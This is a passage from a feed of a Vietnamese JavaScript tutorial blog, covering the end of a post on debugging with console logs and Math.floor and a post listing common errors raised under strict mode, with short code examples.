bắt đầu gây ra lỗi.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">numberToString</span><span class="token punctuation">(</span><span class="token parameter">n<span class="token punctuation">,</span> base</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">var</span> result <span class="token operator">=</span> <span class="token string">""</span><span class="token punctuation">,</span> sign <span class="token operator">=</span> <span class="token string">""</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>n <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> sign <span class="token operator">=</span> <span class="token string">"-"</span><span class="token punctuation">;</span> n <span class="token operator">=</span> <span class="token operator">-</span>n<span class="token punctuation">;</span> <span class="token punctuation">}</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"sign:"</span><span class="token punctuation">,</span> sign<span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"n:"</span><span class="token punctuation">,</span> n<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">do</span> <span class="token punctuation">{</span> result <span class="token operator">=</span> <span class="token function">String</span><span class="token punctuation">(</span>n <span class="token operator">%</span> base<span class="token punctuation">)</span> <span class="token operator">+</span> result<span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"result:"</span><span class="token punctuation">,</span> result<span class="token punctuation">)</span><span class="token punctuation">;</span> n <span class="token operator">/=</span> base<span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"n"</span><span class="token punctuation">,</span> n<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">while</span> <span class="token punctuation">(</span>n <span class="token operator">></span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">return</span> sign <span class="token operator">+</span> result<span class="token punctuation">;</span> <span class="token punctuation">}</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">numberToString</span><span class="token punctuation">(</span><span class="token number">13</span><span class="token punctuation">,</span> <span class="token number">10</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Kết quả ta có log như sau:</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">sign: n: 13 result: 3 n 1.3 result: 1.33 n 0.13 result: 0.131.33 ...</code></pre></div> <p>Bạn đã thấy sự bất ổn chưa? Giá trị log thứ 3 cho thấy n /= base => 1.3. Trong khi giá trị mong đợi phải là 1. À thì ra JavaScript khác với C/C++ và Java. Nếu như trong C/C++, Java, 13/10 = 1 thì trong JavaScript 13/10=1.3. Do đó, ta phải sửa thành n = Math.floor(n/base). Chương trình sẽ hoạt động đúng.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">numberToString</span><span class="token punctuation">(</span><span class="token parameter">n<span class="token punctuation">,</span> base</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">var</span> result <span class="token operator">=</span> <span class="token string">""</span><span class="token punctuation">,</span> sign <span class="token operator">=</span> <span class="token string">""</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>n <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> sign <span class="token operator">=</span> <span class="token string">"-"</span><span class="token punctuation">;</span> n <span class="token operator">=</span> <span class="token operator">-</span>n<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">do</span> <span class="token punctuation">{</span> result <span class="token operator">=</span> <span class="token function">String</span><span class="token punctuation">(</span>n <span class="token operator">%</span> base<span class="token punctuation">)</span> <span class="token operator">+</span> result<span class="token punctuation">;</span> n <span class="token operator">=</span> Math<span class="token punctuation">.</span><span class="token function">floor</span><span class="token punctuation">(</span>n <span class="token operator">/</span> base<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">while</span> <span class="token punctuation">(</span>n <span class="token operator">></span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">return</span> sign <span class="token operator">+</span> result<span class="token punctuation">;</span> <span class="token punctuation">}</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">numberToString</span><span class="token punctuation">(</span><span class="token number">13</span><span class="token punctuation">,</span> <span class="token number">10</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => 13</span></code></pre></div> <p>Đó chính là một cách mà mình thường làm khi debug JS.</p> <p>Ngoài cách viết log, bạn cũng có thể set breakpoint giống như bạn debug trên IDE khi lập trình C/C++ hay Java. Đây cũng là một cách debug trong JavaScript khá hay mà mình mới biết, nên chắc chắn sẽ thử cách này.</p> <h2 id="kết-luận" style="position:relative;"><a href="#k%E1%BA%BFt-lu%E1%BA%ADn" aria-label="kết luận permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kết luận</h2> <p>Trên đây là một số cách giúp bạn debug JavaScript. Mình có thể tóm tắt ngắn ngọn như sau:</p> <ul> <li>Sử dụng strict mode giúp giảm thiểu những lỗi không mong muốn.</li> <li>Testing - unit test giúp kiểm tra từng thành phần trong chương trình.</li> <li>Debugging bằng cách ghi ra log hoặc set breakpoint giúp bạn xác định chính xác vị trí lỗi và sửa nó.</li> </ul> <p>Hy vọng qua bài viết này bạn sẽ thấy rằng debug JS không phải là một công việc quá khó khăn. Nó cũng chỉ giống như mọi ngôn ngữ lập trình khác thôi.</p> <p>Cuối cùng, xin chào và hẹn gặp lại ở <a href="/mot-so-loi-khi-su-dung-strict-mode-javascript/">bài viết tiếp theo</a>, thân ái!</p> <h2 id="tham-khảo" style="position:relative;"><a href="#tham-kh%E1%BA%A3o" aria-label="tham khảo permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tham khảo</h2> <ul> <li><a href="http://eloquentjavascript.net/08_error.html">Bugs and Errors</a></li> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Strict_mode">Strict mode</a></li> </ul>[email protected]<![CDATA[Một số lỗi khi sử dụng Strict mode JavaScript]]><![CDATA[Trong bài viết trước, mình có đề cập tới việc sử dụng Strict mode trong JavaScript để giảm thiểu những lỗi ngớ ngẩn của lập trình viên khi lập trình JavaScript. Như đã hứa, mình sẽ…]]>https://completejavascript.com/mot-so-loi-khi-su-dung-strict-mode-javascript/https://completejavascript.com/mot-so-loi-khi-su-dung-strict-mode-javascript/<![CDATA[Debug]]><![CDATA[Strict Mode]]>Wed, 26 Jul 2017 13:16:19 GMT<p>Trong <a href="/debug-javascript-de-hay-kho/">bài viết trước</a>, mình có đề cập tới việc sử dụng Strict mode trong JavaScript để giảm thiểu những lỗi ngớ ngẩn của lập trình viên khi lập trình JavaScript. Như đã hứa, mình sẽ đưa ra một số lỗi phổ biến khi sử dụng chế độ này.</p> <h2 id="sử-dụng-biến-không-khai-báo" style="position:relative;"><a href="#s%E1%BB%AD-d%E1%BB%A5ng-bi%E1%BA%BFn-kh%C3%B4ng-khai-b%C3%A1o" aria-label="sử dụng biến không khai báo permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sử dụng biến không khai báo</h2> <p>Bình thường khi bạn đưa ra một biến mà không khai báo thì mặc định biến đó sẽ trở thành một thuộc tính của đối tượng global. Đối với browser thì đối tượng global đó chính là <strong>window</strong>.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">x <span class="token operator">=</span> <span class="token number">10</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>window<span class="token punctuation">.</span>x<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => 10</span></code></pre></div> <p>Ở strict mode, bạn sẽ bị lỗi <em>x chưa được định nghĩa</em>: <strong>Uncaught ReferenceError: x is not defined</strong></p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">x <span class="token operator">=</span> <span class="token number">10</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>window<span class="token punctuation">.</span>x<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => Uncaught ReferenceError: x is not defined</span></code></pre></div> <h2 id="gán-giá-trị-cho-biến-global-thuộc-tính-chỉ-đọc-thuộc-tính-getter" style="position:relative;"><a href="#g%C3%A1n-gi%C3%A1-tr%E1%BB%8B-cho-bi%E1%BA%BFn-global-thu%E1%BB%99c-t%C3%ADnh-ch%E1%BB%89-%C4%91%E1%BB%8Dc-thu%E1%BB%99c-t%C3%ADnh-getter" aria-label="gán giá trị cho biến global thuộc tính chỉ đọc thuộc tính getter permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Gán giá trị cho biến global, thuộc tính chỉ đọc, thuộc tính getter</h2> <p>Ở chế độ bình thường, việc gán giá trị cho biến Global như Infinity, NaN,... hay những thuộc tính chỉ đọc,... sẽ không có thông báo lỗi. Mặc dù việc gán giá trị này là hoàn toàn sai và không có ý nghĩa.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">var</span> <span class="token keyword">undefined</span> <span class="token operator">=</span> <span class="token number">5</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">undefined</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => undefined</span> <span class="token keyword">var</span> <span class="token number">NaN</span> <span class="token operator">=</span> <span class="token number">10</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token number">NaN</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => NaN</span> <span class="token keyword">var</span> <span class="token number">Infinity</span> <span class="token operator">=</span> <span class="token number">11</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token number">Infinity</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => Infinity</span> <span class="token keyword">var</span> obj <span class="token operator">=</span> <span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">;</span> Object<span class="token punctuation">.</span><span class="token function">defineProperty</span><span class="token punctuation">(</span>obj<span class="token punctuation">,</span> <span class="token string">"x"</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">value</span><span class="token operator">:</span> <span class="token number">42</span><span class="token punctuation">,</span> <span class="token literal-property property">writable</span><span class="token operator">:</span> <span class="token boolean">false</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> obj<span class="token punctuation">.</span>x <span class="token operator">=</span> <span class="token number">9</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>obj<span class="token punctuation">.</span>x<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => 42</span> <span class="token keyword">var</span> obj <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token keyword">get</span> <span class="token function">x</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token number">15</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> obj<span class="token punctuation">.</span>x <span class="token operator">=</span> <span class="token number">10</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>obj<span class="token punctuation">.</span>x<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => 15</span> <span class="token keyword">var</span> fixed <span class="token operator">=</span> <span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">;</span> Object<span class="token punctuation">.</span><span class="token function">preventExtensions</span><span class="token punctuation">(</span>fixed<span class="token punctuation">)</span><span class="token punctuation">;</span> fixed<span class="token punctuation">.</span>x <span class="token operator">=</span> <span class="token number">10</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>fixed<span class="token punctuation">.</span>x<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => undefined</span></code></pre></div> <p>Khi ở strict mode, bạn chắc chắn sẽ nhận được lỗi như:</p> <ul> <li>Uncaught TypeError: Cannot assign to read only property 'undefined' of object '#&#x3C;Window>'</li> <li>Uncaught TypeError: Cannot assign to read only property 'NaN' of object '#&#x3C;Window>'</li> <li>Uncaught TypeError: Cannot assign to read only property 'Infinity' of object '#&#x3C;Window>'</li> <li>Uncaught TypeError: Cannot assign to read only property 'x' of object '#&#x3C;Object>'</li> <li>Uncaught TypeError: Cannot set property x of #&#x3C;Object> which has only a getter</li> <li>Uncaught TypeError: Cannot add property x, object is not extensible</li> </ul> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">var</span> <span class="token keyword">undefined</span> <span class="token operator">=</span> <span class="token number">5</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">undefined</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => Uncaught TypeError:</span> <span class="token comment">// Cannot assign to read only property 'undefined' of object '#&lt;Window>'</span> <span class="token keyword">var</span> <span class="token number">NaN</span> <span class="token operator">=</span> <span class="token number">10</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token number">NaN</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => Uncaught TypeError:</span> <span class="token comment">// Cannot assign to read only property 'NaN' of object '#&lt;Window>'</span> <span class="token keyword">var</span> <span class="token number">Infinity</span> <span class="token operator">=</span> <span class="token number">11</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token number">Infinity</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => Uncaught TypeError:</span> <span class="token comment">// Cannot assign to read only property 'Infinity' of object '#&lt;Window>'</span> <span class="token keyword">var</span> obj <span class="token operator">=</span> <span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">;</span> Object<span class="token punctuation">.</span><span class="token function">defineProperty</span><span class="token punctuation">(</span>obj<span class="token punctuation">,</span> <span class="token string">"x"</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">value</span><span class="token operator">:</span> <span class="token number">42</span><span class="token punctuation">,</span> <span class="token literal-property property">writable</span><span class="token operator">:</span> <span class="token boolean">false</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> obj<span class="token punctuation">.</span>x <span class="token operator">=</span> <span class="token number">9</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>obj<span class="token punctuation">.</span>x<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => Uncaught TypeError:</span> <span class="token comment">// Cannot assign to read only property 'x' of object '#&lt;Object>'</span> <span class="token keyword">var</span> obj <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token keyword">get</span> <span class="token function">x</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token number">15</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> obj<span class="token punctuation">.</span>x <span class="token operator">=</span> <span class="token number">10</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>obj<span class="token punctuation">.</span>x<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => Uncaught TypeError:</span> <span class="token comment">// Cannot set property x of #&lt;Object> which has only a getter</span> <span class="token keyword">var</span> fixed <span class="token operator">=</span> <span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">;</span> Object<span class="token punctuation">.</span><span class="token function">preventExtensions</span><span class="token punctuation">(</span>fixed<span class="token punctuation">)</span><span class="token punctuation">;</span> fixed<span class="token punctuation">.</span>x <span class="token operator">=</span> <span class="token number">10</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>fixed<span class="token punctuation">.</span>x<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => Uncaught TypeError:</span> <span class="token comment">// Cannot add property x, object is not extensible</span></code></pre></div> <h2 id="xoá-thuộc-tính-của-đối-tượng-global" style="position:relative;"><a href="#xo%C3%A1-thu%E1%BB%99c-t%C3%ADnh-c%E1%BB%A7a-%C4%91%E1%BB%91i-t%C6%B0%E1%BB%A3ng-global" aria-label="xoá thuộc tính của đối tượng global permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Xoá thuộc tính của đối tượng Global</h2> <p>Bình thường, bạn sẽ không thể xoá thuộc tính của một đối tượng Global, mặc dù không có thông báo lỗi nào. Khi ở strict mode, bạn sẽ bị lỗi nếu cố gắng xoá một thuộc tính của đối tượng Global:</p> <p>Ví dụ: Uncaught TypeError: Cannot delete property 'prototype' of function Object() { [native code] }</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token string">"use strict"</span><span class="token punctuation">;</span> <span class="token keyword">delete</span> <span class="token class-name">Object</span><span class="token punctuation">.</span>prototype<span class="token punctuation">;</span> <span class="token comment">// Uncaught TypeError:</span> <span class="token comment">// Cannot delete property 'prototype' of function Object() { [native code] }</span></code></pre></div> <h2 id="tên-tham-số-trùng-nhau-ở-khai-báo-hàm" style="position:relative;"><a href="#t%C3%AAn-tham-s%E1%BB%91-tr%C3%B9ng-nhau-%E1%BB%9F-khai-b%C3%A1o-h%C3%A0m" aria-label="tên tham số trùng nhau ở khai báo hàm permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tên tham số trùng nhau ở khai báo hàm</h2> <p>Strict mode JavaScript yêu cầu các tham số phải có tên khác nhau. Ngược lại thì bạn sẽ gặp lỗi:</p> <p>Uncaught SyntaxError: Duplicate parameter name not allowed in this context</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">sum</span><span class="token punctuation">(</span><span class="token parameter">a<span class="token punctuation">,</span> a<span class="token punctuation">,</span> c</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token string">"use strict"</span><span class="token punctuation">;</span> <span class="token keyword">return</span> a <span class="token operator">+</span> b <span class="token operator">+</span> c<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">// => Uncaught SyntaxError:</span> <span class="token comment">// Duplicate parameter name not allowed in this context</span></code></pre></div> <h2 id="thêm-thuộc-tính-cho-những-giá-trị-nguyên-thuỷ" style="position:relative;"><a href="#th%C3%AAm-thu%E1%BB%99c-t%C3%ADnh-cho-nh%E1%BB%AFng-gi%C3%A1-tr%E1%BB%8B-nguy%C3%AAn-thu%E1%BB%B7" aria-label="thêm thuộc tính cho những giá trị nguyên thuỷ permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Thêm thuộc tính cho những giá trị nguyên thuỷ</h2> <p>Như bạn đã biết, giá trị nguyên thuỷ bao gồm: <a href="/kieu-du-lieu-trong-javascript/">number, string, boolean</a>. Ngược lại, bạn sẽ bị lỗi như:</p> <ul> <li>Uncaught TypeError: Cannot create property 'true' on boolean 'false'</li> <li>Uncaught TypeError: Cannot create property 'sailing' on number '14'</li> <li>Uncaught TypeError: Cannot create property 'you' on string 'with'</li> </ul> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token string">"use strict"</span><span class="token punctuation">;</span> <span class="token boolean">false</span><span class="token punctuation">.</span><span class="token boolean">true</span> <span class="token operator">=</span> <span class="token boolean">false</span><span class="token punctuation">;</span> <span class="token comment">// => Uncaught TypeError:</span> <span class="token comment">// Cannot create property 'true' on boolean 'false'</span> <span class="token punctuation">(</span><span class="token number">14</span><span class="token punctuation">)</span><span class="token punctuation">.</span>sailing <span class="token operator">=</span> <span class="token string">"home"</span><span class="token punctuation">;</span> <span class="token comment">// => Uncaught TypeError:</span> <span class="token comment">// Cannot create property 'sailing' on number '14'</span> <span class="token string">"with"</span><span class="token punctuation">.</span>you <span class="token operator">=</span> <span class="token string">"far away"</span><span class="token punctuation">;</span> <span class="token comment">// => Uncaught TypeError:</span> <span class="token comment">// Cannot create property 'you' on string 'with'</span></code></pre></div> <h2 id="xoá-một-biến-thông-thường-ở-strict-mode-trong-javascript" style="position:relative;"><a href="#xo%C3%A1-m%E1%BB%99t-bi%E1%BA%BFn-th%C3%B4ng-th%C6%B0%E1%BB%9Dng-%E1%BB%9F-strict-mode-trong-javascript" aria-label="xoá một biến thông thường ở strict mode trong javascript permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Xoá một biến thông thường ở Strict mode trong JavaScript</h2> <p>Strict mode cấm bạn xoá tên biến. Ngược lại, bạn sẽ bị lỗi là:</p> <p>Uncaught SyntaxError: Delete of an unqualified identifier in strict mode.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token string">"use strict"</span><span class="token punctuation">;</span> <span class="token keyword">var</span> x <span class="token operator">=</span> <span class="token number">10</span><span class="token punctuation">;</span> <span class="token keyword">delete</span> x<span class="token punctuation">;</span> <span class="token comment">// => Uncaught SyntaxError:</span> <span class="token comment">// Delete of an unqualified identifier in strict mode.</span></code></pre></div> <h2 id="đặt-tên-biến-trùng-với-từ-dự-trữ" style="position:relative;"><a href="#%C4%91%E1%BA%B7t-t%C3%AAn-bi%E1%BA%BFn-tr%C3%B9ng-v%E1%BB%9Bi-t%E1%BB%AB-d%E1%BB%B1-tr%E1%BB%AF" aria-label="đặt tên biến trùng với từ dự trữ permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Đặt tên biến trùng với từ dự trữ</h2> <p>Ngoài từ khoá, <a href="/javascript-la-gi/">JavaScript</a> quy định danh sách những từ dự trữ - những từ sẽ được sử dụng làm từ khoá ở những phiên bản tiếp theo, như: implements, interface, let, package, private, protected, public, static, và yield.</p> <p>Do đó, strict mode nghiêm cấm bạn đặt tên biến số trùng với những từ này. Nếu bạn đặt tên biến trùng với từ dự trữ thì bạn sẽ bị lỗi như sau:</p> <p>Uncaught SyntaxError: Unexpected strict mode reserved word</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token string">"use strict"</span><span class="token punctuation">;</span> <span class="token keyword">var</span> <span class="token keyword">implements</span> <span class="token operator">=</span> <span class="token number">10</span><span class="token punctuation">;</span> <span class="token comment">// => Uncaught SyntaxError: Unexpected strict mode</span></code></pre></div> <h2 id="kết-luận" style="position:relative;"><a href="#k%E1%BA%BFt-lu%E1%BA%ADn" aria-label="kết luận permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 